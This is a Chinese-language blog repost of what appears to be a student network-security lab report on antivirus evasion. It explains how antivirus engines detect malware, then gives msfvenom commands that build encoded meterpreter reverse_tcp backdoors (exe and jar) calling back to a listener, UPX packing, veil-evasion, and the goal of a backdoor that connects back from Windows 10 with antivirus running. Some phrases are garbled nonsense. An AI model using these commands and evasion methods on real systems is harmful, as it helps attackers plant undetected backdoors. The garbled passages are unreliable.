博客
关于我
网络对抗技术-Exp3-免杀原理 20181314
阅读量:609 次
发布时间:2019-03-13

本文共 1581 字,大约阅读时间需要 5 分钟。

免杀原理及基础问题回答

免杀原理

免杀是一种对恶意软件(如木马、后门程序)实施的技术,使其能够避开杀毒软件(AV)的检测。它也是渗透测试中常用的技巧。

要实现免杀,首先需要深入了解杀毒软件的工作原理。现代杀毒软件通过特征码检测、启发式检测以及基于行为的检测等技术来识别恶意程序。了解这些检测机制后,可以采取相应的技术手段对恶意程序进行加工或隐藏。

基础问题回答

杀毒软件如何检测恶意代码?

杀毒软件检测恶意代码的方法主要有以下几种:

  • 基于特征码的检测:通过分析大量的恶意软件样本,提取出它们特有的代码特征(特征码),并将这些特征码加入杀毒软件的黑名单中,检测到匹配的特征码即可判断为恶意软件。
  • 启发式恶意软件检测:利用一些片面但普遍适用的特征,作为检测依据。这种方法往往不够精准。
  • 基于行为的恶意软件检测:监控程序的运行行为,发现一些与恶意软件典型行为不符的异常特征。这种检测方法同样不够精确。
  • 免杀是做什么?

    免杀的主要目的是让恶意程序避开杀毒软件的检测。常见的应用场景包括渗透测试和网络攻防中的后门程序部署。

    免杀的基本方法

  • 改变特征码

    • 只生成可执行文件(如_EXE_),并对其进行加壳(如压缩壳、加密壳)处理。
    • 使用Meterpreter(Meterpreter回弹shell)或其他高级反双省技术。
    • 将恶意代码转化为其他语言(如C#、Java)再编译。
    • 使用如veil-evasion等工具进行特征值隐藏。
  • 改变行为

    • 避免使用恶意程序的典型运行行为特征。
    • 运行前完成系统资源清理,加入混淆作用的正常程序代码。
  • 通讯方式

    • 使用反弹式连接(如TCP或UDP反弹)的方式传输数据。
    • 综合使用隧道技术(如VPN隧道)或代理服务器进行通信。
    • 对通讯数据进行加密处理。
  • 操作模式

    • 减少对系统资源的占用。
    • 基于内存操作的优化方式。
    • 将正常程序功能代码编编入恶意程序中。
  • 非常规方法

    • 利用有漏洞的应用(如MSF或 Lafayso定时任务 itch)作为后门。
    • 通过社会工程 fıkırgı(诱骗用户关闭杀毒软件)。
    • 手动打造恶意软件,利用未公开漏洞。
  • 免杀效果评价

    通过VirusTotal等在线杀毒引擎对免杀程序进行检测,可以直观查看免杀效果。VirusTotal可以上传免杀处理后的程序进行全面扫描。

    实验内容

    任务一:正确使用msf编码器,生成后门程序

    1.生成可执行文件

    使用msfvenom编码器生成后门程序。例如:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.230.128 LPORT=5318 -f exe > met-encoded.exe

    多次编码(如十次编码)效果有限,主要原因是杀毒软件已对msfvenom的编码模板进行了特征码识别。

    2.生成其他类型文件

    • Java后门程序:使用msfvenom生成:
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.121.133 LPORT=1314 -f jar > ljs_backdoor.java.jar
    • PHP/JShell后门程序:同理可自行生成。

    任务二:通过组合多种技术实现最终的免杀

    将C语言shellcode与UPX压缩壳结合,生成可执行文件,并通过veil-evasion工具进行特征值隐藏,完成免杀效果。

    加壳效果验证

    UPX压缩壳生成结果:

    upx 20181314-backdoor.exe -o upx_20181314.exe

    使用查壳工具可验证壳的存在。

    任务三:实测可运行性

    在目标电脑(如Windows 10,杀毒软件开启的情况下)运行免杀程序,确保可以正常回连。

    转载地址:http://frpaz.baihongyu.com/

    你可能感兴趣的文章
    Glide无法加载http图片问题
    查看>>
    Swift常用语法规则(一)
    查看>>
    Swift中使用DispatchGroup分组管理异步任务
    查看>>
    21-JS中常见的函数
    查看>>
    19-认识bootstrap
    查看>>
    为什么要使用UTF-8?
    查看>>
    Android多线程与双缓冲
    查看>>
    MVVM_Template
    查看>>
    not permitted by network security policy
    查看>>
    {spring.cloud.client.ipAddress}
    查看>>
    栈上内存溢出漏洞利用之Return Address
    查看>>
    Redhat6中获取LANG值为空
    查看>>
    Bugku CTF web4(Web)
    查看>>
    练习2-17 生成3的乘方表 (15 分)
    查看>>
    Bugku CTF web29(Web)
    查看>>
    习题4-2 求幂级数展开的部分和 (20 分)
    查看>>
    链表的实现
    查看>>
    剑指offer之和为S的连续正数序列
    查看>>
    设计模式概览——结构型模式
    查看>>
    程序运行时出现“error while loading shared libraries”
    查看>>